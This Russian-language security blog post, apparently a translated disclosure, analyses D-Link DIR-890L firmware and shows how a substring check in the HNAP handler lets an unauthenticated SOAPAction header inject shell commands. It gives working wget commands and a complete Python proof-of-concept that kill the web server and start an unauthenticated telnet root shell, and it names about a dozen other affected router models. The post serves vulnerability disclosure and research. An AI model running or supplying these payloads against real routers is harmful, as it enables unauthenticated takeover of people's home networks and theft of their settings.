Взлом роутеров D-Link DIR-890L

Последние 6 месяцев, я был жутко занят и не следил за новыми хренями от D-Link. Чтобы немного поразвлечься, я зашел на их сайт, и меня поприветствовал этот кошмар:

Самый безумный роутер D-Link DIR-890L за $300

Пожалуй, самым «безумным» в роутере является то, что он работает под управлением все той же забагованнойпрошивки, которую D-Link ставит в свои роутеры вот уже несколько лет…and the hits just keep on coming.

Хорошо, давайте как обычно — возьмем последнюю версию прошивки, пройдемся по ней binwalk и посмотрим, что мы получили:

DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/7" 116 0x74 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes 1835124 0x1C0074 PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes 1835156 0x1C0094 Squashfs filesystem, little endian, version 4.0, compress

Похоже на обычную прошивку с Linux, а если вы заглядывали в любую прошивку D-Link за последние несколько лет, вы без труда вспомните структуру директорий:

$ ls squashfs-root bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www

Все, что относится к HTTP, UPnP и HNAP, расположено в директории htdocs. Самый интересный файл здесь — htdocs/cgibin — ELF-бинарник для ARM, который выполняется вебсервером для, хм, почти всего: все симлинки к CGI, UPnP и HNAP-ссылкам ведут на этот файл:

 

$ ls -l htdocs/web/*.cgi 
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin 
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin 
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin 
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin 
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin 
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin 
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin 
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin 
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin 
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin 
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin 
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin 
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin

Он, конечно же, stripped, но в нем есть множество строк, которые будут нам в помощь. В первую очередь, mainсравнивает argv[0] со списком известных ему имен симлинков (captcha.cgi, conntrack.cgi и т.д.) чтобы определить, какое действие выполнять:

Граф вызовов, типичный каскад if/else

Каждое сравнение производится вызовом strcmp на известные имена симлинков:

Разные функции обработчиков разных симлинков

Чтобы упростить сопоставление функций-обработчиков и симлинков, переименуем их, согласно имени симлинка:

Переименованные функции-обработчики

Теперь, когда у нас есть имена функций, давайте начнем искать баги. Другие устройства от D-Link, работающие под управлением точно такой же прошивки, ранее были взломаны через HTTP и UPnP-интерфейсы, однако, HNAP-интерфейс, который обрабатывается функцией hnap_main в cgibin, похоже, никто особо не смотрел.

HNAP (Home Network Administration Protocol) — протокол на основе SOAP, похожий на UPnP, который обычно используется утилитой для первоначальной настройки D-Link роутеров «EZ». В отличие от UPnP, все действия HNAP, кроме GetDeviceInfo (который бесполезен), требуют HTTP Basic-аутентификацию.

POST /HNAP1 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWMEHZY+
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"
 
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body>
  <AddPortMapping xmlns="http://purenetworks.com/HNAP1/">
   <PortMappingDescription>foobar</PortMappingDescription>
   <InternalClient>192.168.0.100</InternalClient>
   <PortMappingProtocol>TCP</PortMappingProtocol>
   <ExternalPort>1234</ExternalPort>
   <InternalPort>1234</InternalPort>
  </AddPortMapping>
 </soap:Body>
</soap:Envelope>

 

 

Заголовок SOAPAction очень важен в HNAP-запросе, т.к. именно он задает, какое действие выполнит сервер (действие AddPortMapping в примере выше).

Вследствие того, что cgibin запускается как CGI-приложение веб-сервером, hnap_main получает данные HNAP-запроса, например, заголовок SOAPAction, через переменные окружения:

SOAPAction = getenv(“HTTP_SOAPACTION”);

Ближе к концу hnap_main, вызовом sprintf генерируется shell-команда, которая затем выполняется черезsystem:

sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);

Очевидно, что hnap_main использует данные из заголовка SOAPAction внутри команды system! Этот баг подает надежды, особенно, если заголовок SOAPAction не экранируется, и если мы сможем попасть в это место без аутентификации.

В начале hnap_main проверяется, равен ли заголовок SOAPAction строкеhttp://purenetworks.com/HNAP1/GetDeviceSettings, и если он равен, аутентификация пропускается. Это ожидаемо, мы уже подметили ранее, что GetDeviceSettings не требует аутентификации:

if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)

Заметим, однако, что для проверки используется функция strstr, которая только проверяет наличие строкиhttp://purenetworks.com/HNAP1/GetDeviceSettings в заголовке SOAPAction, а не равенство ей.
Итак, если заголовок SOAPAction содержит подстроку http://purenetworks.com/HNAP1/GetDeviceSettings, функция достает название действия (т.е. GetDeviceSettings) из заголовка и убирает двойные кавычки:

SOAPAction = strrchr(SOAPAction, ‘/’);

Имя действия (GetDeviceSettings) вычленяется из заголовка, затем попадает в system, проходя sprintf.
Вот код на C, который демонстрирует ошибку в логике:

/* Grab a pointer to the SOAPAction header */SOAPAction = getenv("HTTP_SOAPACTION");
 
/* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL)
{
    /* do auth check */}
 
/* Do a reverse search for the last forward slash in the SOAPAction header */SOAPAction = strrchr(SOAPAction, '/');
if(SOAPAction != NULL)
{
    /* Point the SOAPAction pointer one byte beyond the last forward slash */    SOAPAction += 1;
 
    /* Get rid of any trailing double quotes */    if(SOAPAction[strlen(SOAPAction)-1] == '"')
    {
        SOAPAction[strlen(SOAPAction)-1] = '�';
    }
}
else
{
    goto failure_condition;
}
 
/* Build the command using the specified SOAPAction string and execute it */sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);
system(command);

Итак, что мы из этого вынесли:

• Проверка аутентификации отсутствует, если в заголовке SOAPAction есть подстрокаhttp://purenetworks.com/HNAP1/GetDeviceSettings
• В sprintf (и system) передается все, что находится после последнего слеша в заголовке SOAPAction

Мы с легкостью можем сформировать заголовок SOAPAction, который будет удовлетворять пропуску аутентификации и позволять нам передавать свою строку в system:

SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"

http://purenetworks.com/HNAP1/GetDeviceSettings в заголовке позволяет нам обойти аутентификацию, а строка `reboot` будет передана в system

system("sh /var/run/`reboot`.sh > /dev/console");

Заменой reboot на telnetd мы запустим telnet-сервер без аутентификации:

$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1 $ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. #

Мы можем отправлять HNAP-запросы из WAN, если было включено удаленное администрирование. Конечно, брандмауер блокирует все входящие соединения на telnet из WAN. Самое простое решение — убить HTTP-сервер и запустить telnetd на его порту:

$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1 $ telnet 1.2.3.4 8080 Trying 1.2.3.4... Connected to 1.2.3.4. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. #

Замечу, что wget будет висеть в ожидании ответа, т.к. cgibin будет ожидать завершение telnetd. Вот маленький PoC на Python, который все делает чуточку удобней:

#!/usr/bin/env python
 
import sys
import urllib2
import httplib
 
try:
    ip_port = sys.argv[1].split(':')
    ip = ip_port[0]
 
    if len(ip_port) == 2:
        port = ip_port[1]
    elif len(ip_port) == 1:
        port = "80"
    else:
        raise IndexError
except IndexError:
    print "Usage: %s <target ip:port>" % sys.argv[0]
    sys.exit(1)
 
url = "http://%s:%s/HNAP1" % (ip, port)
# NOTE: If exploiting from the LAN, telnetd can be started on
#       any port; killing the http server and re-using its port
#       is not necessary.
#
#       Killing off all hung hnap processes ensures that we can
#       re-start httpd later.
command = "killall httpd; killall hnap; telnetd -p %s" % port
headers = {
            "SOAPAction"    : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,
          }
 
req = urllib2.Request(url, None, headers)
try:
    urllib2.urlopen(req)
    raise Exception("Unexpected response")
except httplib.BadStatusLine:
    print "Exploit sent, try telnetting to %s:%s!" % (ip, port)
    print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"
    sys.exit(0)
except Exception:
    print "Received an unexpected response from the server; exploit probably failed. :("

 

 

Я проверил этот баг на прошивках v1.00 и v1.03 (последняя на момент написания статьи), и они обе уязвимы. Но, как это обычно бывает с большинством уязвимостей в embedded, этот код попал и в прошивки других устройств.

Анализировать все прошивки довольно утомительно, поэтому я передал инфромацию о баге командеCentrifuge, у которых есть отличие утилиты для автоматического анализа подобных вещей. Centrifuge обнаружили эту уязвимость в следующих моделях:

• DAP-1522 revB
• DAP-1650 revB
• DIR-880L
• DIR-865L
• DIR-860L revA
• DIR-860L revB
• DIR-815 revB
• DIR-300 revB
• DIR-600 revB
• DIR-645
• TEW-751DR
• TEW-733GR

Насколько я знаю, HNAP на этих устройствах никаким образом отключить нельзя.

UPDATE: Похоже, в начале года этот же баг нашел Samuel Huntly, но он был исправлен только для DIR-645. Патч достаточно хреновый, ждите его разбор в следующем посте.